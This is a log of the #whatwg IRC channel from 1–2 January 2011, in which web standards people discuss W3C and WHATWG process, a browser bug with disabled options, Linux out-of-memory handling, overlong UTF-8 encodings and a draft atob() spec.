2011-01-01
[08:13:00.0000] <annevk>
hey hey #whatwg

[08:13:01.0000] <annevk>
happy new year

[08:15:00.0000] <paul_irish>
happpy new year!

[08:20:00.0000] <espadrine>
happy 2011!

[08:21:00.0000] <gsnedders>
happy new year!

[09:16:00.0000] <Evet>
what is the best ui framework of 2011?

[10:46:00.0000] <hendry>
anyone noticed a well written Web interface to a Webcam I could get inspired by?

[12:24:00.0000] <gsnedders>
I wonder for blogging software whether it should be any harder to produce an Atom feed with in-line XHTML instead of escaped HTML given proper sanitization…

[12:27:00.0000] <annevk>
I think these days it probably needs to be tied in with twitter

[12:29:00.0000] <Ms2ger>
We should invent a new XML language for feeds, that will work

[12:30:00.0000] <annevk>
it's January 1 Ms2ger, not April 1

[12:30:01.0000] <annevk>
oh wait, I think I just used logic #fail

[15:21:00.0000] <AryehGregor>
boxendirst, I don't work for Mozilla.  I've got like two more or less trivial commits accepted by them, though.  I also have a part-time contract to do spec work for Google over the next few months, which I'll probably start work on tomorrow.

[15:21:01.0000] <AryehGregor>
Why did you suspect I worked for Mozilla?

[15:22:00.0000] <AryehGregor>
My comments about WebKit's and Gecko's HTML5 forms implementation would be rather poor taste if I worked for Mozilla, actually.

[15:23:00.0000] <AryehGregor>
I'd have been much more reserved in criticizing their competitors if I did work for them.

[15:25:00.0000] <annevk>
congrats on the job thing AryehGregor

[15:25:01.0000] <boxendirst>
No offense AryehGregor.

[15:25:02.0000] <boxendirst>
And congrats from me as well

[15:25:03.0000] <AryehGregor>
Thanks.

[15:25:04.0000] <annevk>
slowly all of #whatwg gets employed and we become the cabal we have been made out to be from the start

[15:26:00.0000] <Dashiva>
You mean we aren't already?

[15:26:01.0000] <Dashiva>
How many indepedent agents are left?

[15:26:02.0000] <annevk>
sssh

[15:26:03.0000] <Hixie>
define "independent"

[15:26:04.0000] <Dashiva>
Supposedly without ties to the cabal

[15:27:00.0000] <Hixie>
so anyone who joins this channel or posts to any mailing list related to web standards is no longer "independent"? :-)

[15:27:01.0000] <AryehGregor>
I always assumed that the independent people were part of the cabal too.

[15:27:02.0000] <AryehGregor>
I was called a WHATWG Goon before I was employed by anyone.

[15:28:00.0000] <webr3>
well sometimes the tone of emails etc from some whatwg members does lend to people thinking you are a cabal seeking to overthrow the w3c in some regards...

[15:28:01.0000] <AryehGregor>
Seeking to overthrow the W3C, yes, possibly.

[15:28:02.0000] <webr3>
not saying that is the case, but it is how things come accross sometimes

[15:28:03.0000] <Dashiva>
It's possible to want to overthrow the w3c in a distributed, non-cabal way

[15:28:04.0000] <AryehGregor>
But that doesn't make us a cabal.

[15:28:05.0000] <AryehGregor>
I mean, cabals are supposed to be secret, aren't they?

[15:29:00.0000] <Hixie>
/me doesn't care about the w3c per se, he just wants to improve the web in terms of interoperability and features

[15:29:01.0000] <AryehGregor>
I think I participated in a grand total of one secret WHATWG-related e-mail discussion ever.

[15:29:02.0000] <abarth>
you mean this channel isn't secret?

[15:29:03.0000] <webr3>
you can be secret and open at the same time, you just have private discussions people don't realize

[15:29:04.0000] <Dashiva>
Maybe there's a second, hidden cabal behind the visible cabal

[15:29:05.0000] <Hixie>
and the w3c sometimes gets in the way of that :-)

[15:29:06.0000] <AryehGregor>
And maybe like five or ten private IRC conversations.

[15:29:07.0000] <Dashiva>
Also, there's #whatwg-secret-treehouse-no-patents-allowed

[15:29:08.0000] <AryehGregor>
Hixie, so you want to improve the web, by means of overthrowing the W3C?

[15:29:09.0000] <AryehGregor>
And where I say "you" I mean "we", because you are the cabal leader and we all believe everything you say.

[15:30:00.0000] <webr3>
lol, it would be nice to see more hand-holding and good feeling between w3c and whatwg in 2011, both contains great people with good intentions (and obviously the same people in both often)

[15:31:00.0000] <webr3>
sure would make life for some easier..

[15:31:01.0000] <webr3>
/me could be wrong, but hope I'm not

[15:31:02.0000] <Dashiva>
Eh

[15:31:03.0000] <annevk>
abarth, with questions like that you're not inspiring confidence as security expert ;p

[15:31:04.0000] <Hixie>
AryehGregor: i want to improve the web, the w3c isn't really relevant one way or the other to me

[15:32:00.0000] <Hixie>
AryehGregor: they can either take part, or get out of the way

[15:32:01.0000] <Hixie>
i don't much care either way

[15:32:02.0000] <Dashiva>
I'm sure X (for X in everyone) would love for everyone else to suddenly drop all their convictions and agree with X

[15:32:03.0000] <webr3>
Hixie, I've got to ask why you don't care, out of interest

[15:33:00.0000] <Hixie>
webr3: same reason i don't care about, i dunno, carl jr's.

[15:33:01.0000] <Hixie>
webr3: why would i?

[15:33:02.0000] <Hixie>
Dashiva: i'd rather people used rational thought and research to form their own opinions rather than have any convictions or agree with anything unquestioningly

[15:34:00.0000] <Dashiva>
Hixie: Are you saying there are people who do not consider themselves rational involved?

[15:35:00.0000] <webr3>
Hixie, working with, rather than for, or against, seems to make more sense to me - that's ultimately why I'd care - there are a lot of clever people w/ good intentions @ the w3c (and many other groups) and I respect that

[15:36:00.0000] <Hixie>
Dashiva: there are numerous people in the standards world who think that they should be trusted and that their word should not be tested

[15:36:01.0000] <annevk>
webr3, you make it sound like us vs them

[15:36:02.0000] <annevk>
webr3, many of the WHATWG are quite active in the W3C

[15:36:03.0000] <webr3>
annevk, i don't intend to at all :)

[15:36:04.0000] <Dashiva>
But surely they consider themselves and their communication to be fully rational

[15:37:00.0000] <annevk>
but I think many share the sentiment that is not really about any particular organization, but more about the end goal of having great web standards

[15:38:00.0000] <Hixie>
webr3: i'm happy to work with anyone who wants to make the web better

[15:39:00.0000] <Hixie>
Dashiva: i can't speak as to their own beliefs of their communications, only about what they say, and there are numerous people who have stated that their opinions should be taken on face value without any rationale or evidence to support their statements

[15:40:00.0000] <AryehGregor>
There are also simple differences of opinion even among rational people that are unduly tedious to resolve in the W3C.

[15:40:01.0000] <AryehGregor>
At least in the HTMLWG.

[15:40:02.0000] <AryehGregor>
I've remarked before on the fact that the other WGs I've been part of (admittedly, that's pretty much only CSSWG) aren't nearly as bureaucratic.

[15:41:00.0000] <Hixie>
the csswg isn't as bureaucratic as the htmlwg, but it's also much slower at making progress in practice

[15:41:01.0000] <Hixie>
(i speak as someone who has edited more documents in the csswg than the htmlwg, and has spent as much time in both by now, if not more in the csswg)

[15:42:00.0000] <webr3>
Hixie, likewise, that's the caveat I have too - anybody who wants to make the web work better

[15:42:01.0000] <webr3>
/me would be interested to know who doesn't though!

[15:43:00.0000] <AryehGregor>
It seems to me that the CSSWG suffers from lack of aggressive editors who make it their responsibility to resolve issues in a fixed timeframe.

[15:43:01.0000] <AryehGregor>
They often have protracted discussions that die out with no conclusion.

[15:44:00.0000] <Dashiva>
It's not ridiculous enough that it can be bypassed as irrelevant, but not efficient enough for optimal performance? :)

[15:44:01.0000] <webr3>
AryehGregor, tbh i think a lot of specs involve over work of the editors, and this is a key problem often, would be good to see more "i need some helps" and more peopel willing to co-edit, share the workload

[15:44:02.0000] <AryehGregor>
That's probably true.  Hixie appears to be practically unique in actually finding spec editing fun.  How many other people are paid to be full-time spec editors, actually?

[15:45:00.0000] <webr3>
no where near enough - that runs to problems at the core of the web & "open" communities though, everything from economic structure through to mentallity needs to change in many areas

[15:47:00.0000] <Hixie>
AryehGregor: yeah, one of the big problems in a lot of wgs at the w3c is that there's no one person who "owns" the responsibility for a decision, and so you get situations where nobody feels responsible to get the best result

[15:52:00.0000] <webr3>
would be good if that responsibility could be assigned to a 2 or three specialist, like a quick response per-issue-group w/ a 2 week timeline or suchlike

[15:56:00.0000] <AryehGregor>
One person is best, no more.

[15:56:01.0000] <AryehGregor>
That way no one can push it off onto anyone else.

[15:56:02.0000] <Hixie>
yeah responsibility can never be shared

[15:56:03.0000] <Hixie>
you always need a single point of blame

[15:56:04.0000] <Hixie>
that's the only way you get people motivated to not screw up

[15:56:05.0000] <AryehGregor>
Having multiple people just means no one can do anything officially except if they have a conference about that specific issue.

[15:56:06.0000] <AryehGregor>
Which is much more cumbersome.

[15:56:07.0000] <Hixie>
yeah

[15:57:00.0000] <Hixie>
it also means that if there's a mistake, the blame gets shared and somehow everyone always justifies it to themselves as it being the other people's fault

[15:58:00.0000] <annevk>
blame game doesn't work though

[15:58:01.0000] <AryehGregor>
It works nicely if it's clear who to blame.

[15:58:02.0000] <annevk>
at least, employers might place blame, but nobody else really can

[15:59:00.0000] <AryehGregor>
It's only bad if it's not clear who to blame, then no one winds up taking it.

[15:59:01.0000] <annevk>
as it basically comes down to community service

[15:59:02.0000] <annevk>
e.g. you can point out a bug in XMLHttpRequest and I can decide not to care for now

[15:59:03.0000] <annevk>
you can blame me, but nothing will happen


2011-01-02
[16:00:00.0000] <Hixie>
it's not about other people blaming you

[16:00:01.0000] <Hixie>
it's about you blaming you

[16:00:02.0000] <Hixie>
naturally if you don't care, it doesn't help

[16:00:03.0000] <Hixie>
but if someone doesn't care, they're not gonna do a good job regardless

[16:01:00.0000] <webr3>
so then, what if there was a process where people could opt-in to resolving the issues under and action (even from outside the relevent groups) and resolve the issues quickly + take the blame as it were?

[16:01:01.0000] <annevk>
the other thing is that getting help is unlikely

[16:01:02.0000] <webr3>
afaik the w3c is opening up to make it easier for people from different groups to contrib to any other group

[16:01:03.0000] <annevk>
I have requested help on several topics quite a few times and nothing ever comes of that

[16:02:00.0000] <webr3>
maybe the wrong channels are being asked in, or maybe people think "that doesn't mean me" (even thought they want to)

[16:02:01.0000] <annevk>
you have to do things yourself if you want to get things done on certain topics

[16:02:02.0000] <webr3>
/me knows for a fact it's the second case often

[16:02:03.0000] <annevk>
for HTML5 the dynamics might be somewhat different though -- at least people seem to write change proposals and such

[16:03:00.0000] <annevk>
webr3, it's hard to tell

[16:04:00.0000] <Hixie>
webr3: what kinds of issues do you have in mind for "a process where people could opt-in to resolving the issues under and action"?

[16:04:01.0000] <webr3>
any long standing issue that can't be resolved quickly and to which there isn't an obvious solution

[16:05:00.0000] <Hixie>
like what?

[16:05:01.0000] <annevk>
defining a P2P UDP-like protocol

[16:05:02.0000] <annevk>
would be one I'd like to see

[16:05:03.0000] <Hixie>
isn't that one pretty much under control?

[16:05:04.0000] <annevk>
oh, and UDP Web Sockets

[16:06:00.0000] <annevk>
is it?

[16:06:01.0000] <Hixie>
rtc-web seems to be making progress

[16:06:02.0000] <webr3>
html5 spec being in html5, the whole prefixes thing, the dual mit/licensing, updating of the specs regularly on w3c, literally anything that just needs somebody to work on it

[16:06:03.0000] <webr3>
can't understand why a list isn't just published saying "we need these things worked on" by anybody, that means you, if you'd like the job just say

[16:06:04.0000] <Hixie>
webr3: the html5 spec being in html5 isn't something that anyone could resolve -- the problem is that the w3c staff have set a rule and that they won't change it

[16:06:05.0000] <annevk>
TIL about http://rtc-web.alvestrand.com/

[16:06:06.0000] <Hixie>
webr3: how could anyone resolve that?

[16:07:00.0000] <Hixie>
webr3: i mean, the spec is written in html5, i literally run a script to remove the html5ness and backport it to html4 before publishing on the w3c site

[16:07:01.0000] <Hixie>
the whatwg one is html5

[16:07:02.0000] <annevk>
oh wait, I heard about that workshop

[16:07:03.0000] <annevk>
Philip wasn't too enthusiastic

[16:08:00.0000] <Hixie>
webr3: and the whole prefixes thing is already resolved, as far as i can tell, except that some people disagree... so how could anyone "resolve" that?

[16:08:01.0000] <webr3>
well imho it should be in html5, it's /not/ a standard yet so doesn't matter if it's not in the current standard of html, and when it is a standard, it will eb the standard and people will expect it to be in html5, as a demo reference even

[16:08:02.0000] <Hixie>
webr3: and the licensing thing, again, is w3c staff saying "no", it's not something anyone could just solve (the whatwg spec is already licensed under a free license)

[16:09:00.0000] <webr3>
are there reasons for the "no" that are valid?

[16:09:01.0000] <webr3>
if not, then that "no" should be raised as an issue

[16:09:02.0000] <Hixie>
not to my knowledge, but i'm sure the people saying "no" think there are

[16:09:03.0000] <Hixie>
but in short, i don't see how "a process where people could opt-in to resolving the issues under and action" would resolve any of these issues

[16:10:00.0000] <webr3>
well it would if the w3c staff agreed to the process and backed it...

[16:11:00.0000] <Hixie>
given a situation where the w3c doesn't want something to happen (e.g. publishing the html5 spec as contemporary html rather than html4), i don't see how to convince the w3c to form a process by which they could have their authority overriden

[16:13:00.0000] <webr3>
it's a standardization body which standardizes approaches when there are conflicting implementations, w3c is just an implementation of a standardization body, and if there are conflicts then they should be standardized, not just say this ones right and that ones wrong

[16:13:01.0000] <webr3>
that includes the w3c itself

[16:14:00.0000] <webr3>
if people on the web can't say "no, thats wrong, you need to look again" and be taken seriously, then they're doing the job wrong, and that needs addressed

[16:15:00.0000] <AryehGregor>
webr3, all the things you mentioned are just points of disagreement between the W3C and WHATWG.  They're matters of opinion, they're unlikely to change.

[16:16:00.0000] <AryehGregor>
It's not a procedural issue.  Process can't eliminate differences of opinion, only rule in favor of one side or the other.

[16:17:00.0000] <AryehGregor>
Which is what has happened, except that there are two different organizations (because of bad decisions made by the W3C that triggered a breakaway) and they resolved some of these issues different ways.

[16:17:01.0000] <webr3>
well somebodies got to be thinking positively and that the disagreements can be resolved :)

[16:17:02.0000] <webr3>
so resolve all the difference and join back up..

[16:17:03.0000] <AryehGregor>
Are you advocating the position that if everyone just thought positively and talked it out, they'd all come to agreement on every issue?

[16:18:00.0000] <webr3>
not everyone, but the majority of free thinking individuals would - why not..

[16:18:01.0000] <annevk>
ever heard of politics?

[16:18:02.0000] <webr3>
i mean they all essentially want the same thing, lest they're in a cabal

[16:18:03.0000] <Hixie>
we have "joined back up"

[16:18:04.0000] <AryehGregor>
Because that seems like it's pretty obviously not how the real world works.  Differences of opinion are commonly intractable.  The best you can hope for is to pick someone's opinion to go with according to some process that hopefully doesn't leave too many people entirely dissatisfied.

[16:18:05.0000] <Hixie>
all the issues you raised are issues in the htmlwg, not issues between the whatwg and the htmlwg

[16:19:00.0000] <Hixie>
they're purely w3c-internal issues

[16:19:01.0000] <webr3>
annevk, i have, but I don't believe in politics, don't care for them, and it does nobody any good at all - screw the politics

[16:19:02.0000] <annevk>
standards is often politics

[16:19:03.0000] <AryehGregor>
webr3, politics demonstrates that intelligent people will not come to agreement on important issues even after extensive discussion.

[16:19:04.0000] <annevk>
at least in my experience

[16:32:00.0000] <karlcow>
when you edit and you ask for help, there is the way you ask and/or structure the help. If you tell people can you edit this section. That doesn't work. If you say can you edit this section following this model it is a bit better. Still need a bit of seduction :p

[16:34:00.0000] <karlcow>
a bit of politics, a bit of drama queen, a bit of bad memories, a bit of dick contest, a bit of technical sound argument, etc. :) Standards are made of flesh, sweat and thoughts.

[16:35:00.0000] <AryehGregor>
Is the disabled attribute for <option> a new HTML5 feature?

[16:35:01.0000] <Hixie>
no

[16:36:00.0000] <AryehGregor>
Why does Chrome seem to ignore it while Firefox 4 and Opera 11 don't, then?

[16:37:00.0000] <Hixie>
bug, i guess

[16:37:01.0000] <Hixie>
what does webkit/safari do?

[16:37:02.0000] <AryehGregor>
Well, the UI lets you select it just like any other option.

[16:37:03.0000] <AryehGregor>
Didn't test submitting.

[16:37:04.0000] <AryehGregor>
data:text/html,<!doctype html><select><option disabled>A</option><option>B</option></select>

[16:37:05.0000] <AryehGregor>
In Firefox/Opera, A is grayed out and unselectable, and B is selected by default.

[16:37:06.0000] <Hixie>
oh that's a more subtle issue than whether it works or not

[16:38:00.0000] <Hixie>
html4 (as usual) was very vague about what should happen if the first option was disabled, iirc

[16:38:01.0000] <Hixie>
anyway the new html spec defines all that

[16:38:02.0000] <AryehGregor>
/me discovers <optgroup label="">

[16:39:00.0000] <AryehGregor>
/me guesses he never actually looked into any of this before

[17:05:00.0000] <annevk>
karlcow, politics includes all of those :) well, maybe except technical arguments :p

[17:06:00.0000] <karlcow>
;)

[17:43:00.0000] <Dashiva>
Damn you, semantics

[17:43:01.0000] <semantics>
Damn you, Dashiva

[17:44:00.0000] <Dashiva>
no u

[17:44:01.0000] <Hixie>
hey now

[17:44:02.0000] <Hixie>
no spelling "you" as "u"

[17:48:00.0000] <Dashiva>
It's an idiom

[17:48:01.0000] <Dashiva>
Thus the lowercase 'n' as well

[17:49:00.0000] <Dashiva>
"A little confusingly, that text is marked up with HTML, which is very similar to XML. XML and HTML are basically brothers, they’re based on the same older work (SGML), except that XML is like the Borg and tried to assimilate HTML in the early ’00s (XHTML) and then the Federation (web nerds) realized that was a crappy idea and set off at maximum warp (let’s go build some awesome things

[17:49:01.0000] <Dashiva>
and let the documentation catch up later) in a different direction (HTML5) and soon it’ll be holodecks for everybody (canvas, video, audio tags) and fire photon torpedoes at the Ferengi (Flash). Exactly like that."

[18:12:00.0000] <boxendirst>
Nice, Dashiva

[20:29:00.0000] <oojacoboo>
wow, I have chrome showing the browser behind it through certain sections on the page that are flash (I think flash)

[20:30:00.0000] <oojacoboo>
so, it's like the flash elements are making the browser window see through

[20:30:01.0000] <oojacoboo>
the weird thing is, scrolling scrolls the browser behind it too...

[20:32:00.0000] <heycam>
oojacoboo, a recent firefox?

[20:33:00.0000] <oojacoboo>
the browser behind is the latest beta

[20:33:01.0000] <oojacoboo>
of firefox, yes

[20:33:02.0000] <heycam>
oojacoboo, it's probably https://bugzilla.mozilla.org/show_bug.cgi?id=590568

[20:34:00.0000] <oojacoboo>
well, it's happening in Chrome

[20:34:01.0000] <oojacoboo>
not firefox

[20:35:00.0000] <oojacoboo>
infact, it will show anything through it, entirely transparent in sections of the browser which are flash

[20:35:01.0000] <heycam>
happens in chrome and firefox?

[20:35:02.0000] <heycam>
(or i misinterpreted the "of firefox, yes")

[20:35:03.0000] <oojacoboo>
only in chrome for me

[20:35:04.0000] <heycam>
ok

[20:35:05.0000] <heycam>
then I don't know anything about it :)

[20:36:00.0000] <oojacoboo>
yea, I think it's flash crashed or something and it just doesn't know what to render in it's place

[20:36:01.0000] <oojacoboo>
somehow the default didn't get loaded up or something

[22:56:00.0000] <Hixie>
is there any sort of pass-by-reference in js?

[22:56:01.0000] <Hixie>
i have three variables that i need to pass to a function for the function to update all three variables

[22:57:00.0000] <Hixie>
(but which three variables need changing depends on the call site)

[22:57:01.0000] <heycam>
Hixie, best you'll get is to pass in an object for the function to set properties on

[22:57:02.0000] <Hixie>
bummer

[22:57:03.0000] <Hixie>
oh well

[22:57:04.0000] <Hixie>
thanks

[00:59:00.0000] <Hixie>
hm

[01:00:00.0000] <Hixie>
i just noticed that <canvas> acts as a phrasing element in the parser, which means you can't put e.g. paragraphs inside it

[01:00:01.0000] <Hixie>
that's problematic

[01:01:00.0000] <Hixie>
(for accessibilty, i mean)

[01:03:00.0000] <Hixie>
i guess we could make canvas scoping

[05:40:00.0000] <annevk>
Dashiva, where is that Star Trek quote from?

[05:41:00.0000] <Dashiva>
http://push.cx/2010/xml-crash-course

[05:45:00.0000] <annevk>
sweet

[07:18:00.0000] <gsnedders>
Time to do some html5lib hacking

[07:18:01.0000] <gsnedders>
(Why do I seem to do this on long-distance buses in Sweden?)

[07:19:00.0000] <Philip`>
(Because short-distance buses don't give you enough time to hack?)

[07:20:00.0000] <gsnedders>
(No, because most other long-distance buses spend too much time off motorways and hence hacking would make me sick)

[07:21:00.0000] <gsnedders>
(And short-distance buses have the same issue)

[07:25:00.0000] <annevk>
back in Sweden?

[07:32:00.0000] <gsnedders>
annevk: I'm here over New Year

[08:21:00.0000] <gsnedders>
/me is getting close to having a consistent, namespace aware, API for attributes in treewalkers in html5lib

[08:26:00.0000] <gsnedders>
And then I guess we need to get foreign content working in the serializer

[10:14:00.0000] <AryehGregor>
You know, the possibility of encoding something in UTF-8 with more bytes than necessary never even occurred to me.

[10:15:00.0000] <AryehGregor>
Like encoding null as 0xc0 0x80 or 0xf0 x080 0x80 0x80 or whatever.

[10:15:01.0000] <AryehGregor>
I guess this sort of crazy thing lets you easily distinguish random byte strings from UTF-8, though, so it's good.

[10:22:00.0000] <gsnedders>
Anything but shortest form is invalid, though

[10:23:00.0000] <AryehGregor>
Yeah, apparently.

[10:23:01.0000] <annevk>
gets FFFD

[10:23:02.0000] <AryehGregor>
Now, why is it that Linux SIGKILLs processes when it runs out of memory and every other OS apparently just starts failing allocations?

[10:24:00.0000] <AryehGregor>
I mean, I know why Linux does it.  It's so that it can overallocate memory on the theory it won't be used.

[10:24:01.0000] <Philip`>
Failing allocations sounds bad for security, since most programmers don't bother checking return values

[10:24:02.0000] <AryehGregor>
But I wonder why other OSes don't follow that logic too.  Or if there are drawbacks, why isn't Linux ever normally configured to fail allocations?

[10:25:00.0000] <Philip`>
and it probably means all your applications will fail and crash at once, rather than the OS just killing one

[10:25:01.0000] <AryehGregor>
Yeah, that's what I've always thought.

[10:25:02.0000] <AryehGregor>
It seems like it's much simpler to just pick one thing to kill and let everyone else continue on happily, especially since it's usually one process that's hogging the memory, often in a rampant memory leak or such.

[10:26:00.0000] <AryehGregor>
Although it would be nice if it would send a catchable signal first, maybe, so the process had a second or two to reduce memory usage before being killed.

[10:26:01.0000] <Philip`>
Maybe other OSes were designed by people with the naive idea that application programmers will design their code to respond gracefully when any one of their millions of lines of code that allocate memory fails

[10:28:00.0000] <AryehGregor>
But why has no one caught on to Linux's brilliance in this regard yet?

[10:28:01.0000] <AryehGregor>
Actually, I think that when Windows runs low on memory, it just starts extending the swap file on the fly.

[10:29:00.0000] <AryehGregor>
That's kind of crazy, though.

[10:29:01.0000] <Philip`>
https://developer.mozilla.org/en/Infallible_memory_allocation - it looks like Mozilla originally tried to handle allocation failures but is now giving up and declaring that they'll never fail

[10:29:02.0000] <AryehGregor>
So basically just adopting Linux behavior on all platforms.

[10:31:00.0000] <Philip`>
We ought to get hot-pluggable RAM and then the OS can freeze and pop up an error message saying "out of memory, please insert more RAM! (c)ontinue, (a)bort"

[10:32:00.0000] <AryehGregor>
Linux has some notion of hot-swapping RAM.  But I think it only actually works for VMs, not physical hardware.

[10:33:00.0000] <AryehGregor>
I think it does theoretically support CPU hot-swapping.  I've always wanted to see if that works on x86.

[10:33:01.0000] <AryehGregor>
Because that would be so cool.

[10:33:02.0000] <AryehGregor>
(clearly, you need at least two CPU sockets for this to be practical)

[10:34:00.0000] <Philip`>
I'd think it's incredibly unlikely that the hardware will support that instead of e.g. blowing up when you've only got half the pins in

[10:35:00.0000] <Philip`>
(when it's x86, not some clever expensive mainframe type thing)

[10:35:01.0000] <AryehGregor>
Well, SATA supports hot-swapping, I've done that all the time.

[10:35:02.0000] <AryehGregor>
I've installed a new disk and moved my root filesystem to it while my machine is running, more than once.

[10:36:00.0000] <AryehGregor>
So I don't see why CPUs couldn't support hot-swap too.  Although you're right that they probably don't.

[10:36:01.0000] <AryehGregor>
I'd have to try it on a multi-socket machine that still works but that's being thrown out or something, I guess.

[10:38:00.0000] <Philip`>
I agree they could be designed to support it (and I'm sure I've heard of some that are), but normal x86 CPUs aren't (since it's not a feature anybody will ever use)

[10:39:00.0000] <AryehGregor>
http://www.kernel.org/doc/Documentation/cpu-hotplug.txt

[10:39:01.0000] <Philip`>
Even the physical design probably makes it impossible - you usually have to pull off the fan and heatsink before removing/inserting the CPU from the socket, and the CPU will melt itself while you're doing that

[10:40:00.0000] <AryehGregor>
"CONFIG_ACPI_HOTPLUG_CPU enables ACPI support for physical add/remove of CPUs."

[10:40:01.0000] <AryehGregor>
Hmm.

[10:40:02.0000] <AryehGregor>
ACPI makes it sound like x86.

[10:40:03.0000] <AryehGregor>
Philip`, not if the kernel can tell the hardware to power down the CPU first.

[10:41:00.0000] <AryehGregor>
Clearly you have to tell the kernel before you try to remove the CPU, otherwise the kernel state on that CPU will be lost and it will have to panic.

[10:41:01.0000] <AryehGregor>
I guess ACPI is used by IA64 too.

[10:43:00.0000] <Philip`>
http://www.linux-kvm.org/page/CPUHotPlug - "There are very few physical machines that actually support it. (Only one unisys box I know of),"

[10:43:01.0000] <AryehGregor>
:(

[11:07:00.0000] <Dashiva>
Dear lazy IRC, how can I make firefox open new tabs instead of new windows from window.open?

[11:07:01.0000] <Dashiva>
"Open new windows in a new tab" seems to have no effect

[11:10:00.0000] <bga_>
gt#firefox

[11:10:01.0000] <bga_>
:)

[11:10:02.0000] <Dashiva>
See, that would be work, which is what lazy IRC is supposed to avoid

[11:11:00.0000] <annevk>
1. download Opera. 2. ... 3. profit!

[11:11:01.0000] <bga_>
++

[11:11:02.0000] <Ms2ger>
-- :)

[11:12:00.0000] <bga_>
= +Infinity :P

[11:14:00.0000] <Dashiva>
annevk: I downloaded Opera years ago, and firefox still doesn't open tabs instead of windows

[11:15:00.0000] <Ms2ger>
Dashiva, seems like it should work

[12:09:00.0000] <Hixie>
AryehGregor: long-form UTF-8 were a sneaky security problem back before people had really realised the risk

[12:10:00.0000] <Hixie>
you could smuggle in ASCII characters without people noticing because they were doing byte filtering, not supporting UTF-8 in their filter

[12:11:00.0000] <AryehGregor>
So now they aren't interpreted as ASCII characters, is the point.

[12:12:00.0000] <AryehGregor>
By the way, here's a first pass at an atob() spec.  Comments appreciated, both as to accuracy and the style of the prose (the actual formatting is obviously going to match whatever spec it's put in): http://aryeh.name/tmp/spec.html

[12:20:00.0000] <Hixie>
s/ul/ol/, s/has code point/have code points/, s/255/U+00FF/

[12:21:00.0000] <AryehGregor>
I prefer ul, since I don't actually refer to the numbers anywhere.

[12:21:01.0000] <Hixie>
at "treat the three-character string pointed to by /position/" you may not in fact have a three character string

[12:21:02.0000] <AryehGregor>
Yeah, that wording is messy.

[12:21:03.0000] <Hixie>
ul means the order doesn't matter, which isn't the case :-)

[12:22:00.0000] <Dashiva>
ol styled to use disc?

[12:22:01.0000] <AryehGregor>
That's an excessively dogmatic way of interpreting the semantics.

[12:22:02.0000] <Hixie>
that's not "excessively dogmatic", it's exactly what the spec says :-)

[12:22:03.0000] <Hixie>
that's the difference between ul and ol

[12:22:04.0000] <AryehGregor>
I know, I think the spec is excessively dogmatic on these points.  :)

[12:22:05.0000] <Hixie>
ul = unordered, ol = ordered

[12:23:00.0000] <AryehGregor>
When it comes to something like the distinction between ul and ol, you want to ask "How do you want browsers, screen readers, non-CSS text browsers, etc. to render it?", not get into hypothetical semantics.

[12:23:01.0000] <Hixie>
anyway, continuing with my review :-), i recommend finding another way of phrasing 4.2 so that you don't need the phrase "and so on"

[12:24:00.0000] <Hixie>
also 4.2 confuses characters and bytes

[12:24:01.0000] <Hixie>
U+0000 is not a null byte, it's a Unicode character NULL with codepoint U+0000

[12:24:02.0000] <gsnedders>
So… I'm wondering what to do with the html5lib serializer test data… should I change it to match the treewalker changes in Python? It doesn't really work with namespaces as it is now…

[12:24:03.0000] <AryehGregor>
Yeah, I've been working with C too much lately.  :P

[12:25:00.0000] <gsnedders>
jgraham: See above. (Or ping me when you're around)

[12:25:01.0000] <jcranmer>
Hixie: I would disagree with you

[12:25:02.0000] <jcranmer>
s/has code point/has a code point/

[12:26:00.0000] <Hixie>
AryehGregor: not really sure what a better way of phrasing 4.2 is, off-hand... probably it just needs to be made more explicit

[12:26:01.0000] <Hixie>
AryehGregor: spec-writing 101: your goal is to write text that no hostile implementor can argue (even in bad faith) means something other than what you intended

[12:26:02.0000] <AryehGregor>
I agree, but I'm thinking there's a more creative (i.e., less horrible) way to do it.

[12:27:00.0000] <AryehGregor>
Actually, I wonder why we don't just spec things like this as working JavaScript programs.

[12:27:01.0000] <AryehGregor>
Has that ever been contemplated?

[12:27:02.0000] <Hixie>
AryehGregor: so things like "and so on" are dodgy because it's easy for people to argue that the expansion of the pattern is something other than you intended

[12:27:03.0000] <jcranmer>
I wonder if you can spec it without being so detailed in the algorithm

[12:28:00.0000] <Hixie>
AryehGregor: the problem with speccing as code is that you have to include the definitions of _everything_ you use. for example, consider a spec that said:

[12:28:01.0000] <AryehGregor>
That's what I was thinking.  Breaking up three bytes into four six-bit chunks is kind of dead simple.

[12:28:02.0000] <jcranmer>
basically, convert the input string to a series of octets in ISO 8859-1 standard (throwing an error if a character exists outside that range)

[12:28:03.0000] <jcranmer>
and then return the base64 encoding of that set of octets, as according to [base64]

[12:28:04.0000] <AryehGregor>
That's not correct, though.

[12:29:00.0000] <Hixie>
AryehGregor: "this function must return the equivalent of  function foo(a) { Math.sin(a) }"

[12:29:01.0000] <AryehGregor>
It's done by Unicode characters, not ISO 8859-1.

[12:29:02.0000] <jcranmer>
whatever the charset is that is most translatable to UTF from x00 to xFF

[12:29:03.0000] <gsnedders>
Hixie: Probably bad example, seeming Math.sin is implementation defined approximation of sin

[12:29:04.0000] <AryehGregor>
Also, what Base64 standard to use?  There are apparently various convention.

[12:29:05.0000] <jcranmer>
the RFC base64

[12:29:06.0000] <Hixie>
AryehGregor: an implementor would then have to decide what to do if the function was invoked in a context where Math was rebound to something different entirely by some JS code

[12:29:07.0000] <AryehGregor>
conventions.

[12:30:00.0000] <AryehGregor>
Ouch.  I forgot how evil JavaScript is.

[12:30:01.0000] <gsnedders>
(except for a number of ±0, AFAIK)

[12:30:02.0000] <Hixie>
AryehGregor: anyway, long story short, using english ends up being less ambiguous

[12:30:03.0000] <gsnedders>
AryehGregor: That's not very evil at all.

[12:30:04.0000] <AryehGregor>
Surely that much you could define away, though.

[12:30:05.0000] <jcranmer>
AryehGregor: http://tools.ietf.org/html/rfc4648#section-4

[12:31:00.0000] <Hixie>
AryehGregor: the question is how much more prose is it to define it all away than it is to just use english in the first place :-)

[12:31:01.0000] <Hixie>
AryehGregor: and whether it ends up actually helping

[12:31:02.0000] <AryehGregor>
You can reuse the same prose definitions to clarify all your code definitions.

[12:31:03.0000] <AryehGregor>
So it's amortized.

[12:31:04.0000] <Hixie>
AryehGregor: treating the reader as someone who is going to intentionally try to misinterpret what you have written is a good way of making sure you are unambiguous

[12:32:00.0000] <Hixie>
AryehGregor: well, if you can find a way to make it work, go for it :-)

[12:32:01.0000] <Ms2ger>
Hixie, only problem is that when you're used to that, CSS specs are unreadable

[12:32:02.0000] <AryehGregor>
Hixie, it's also a good way of inflicting suffering on the large majority of your readers who are not in fact malicious.  :)

[12:33:00.0000] <AryehGregor>
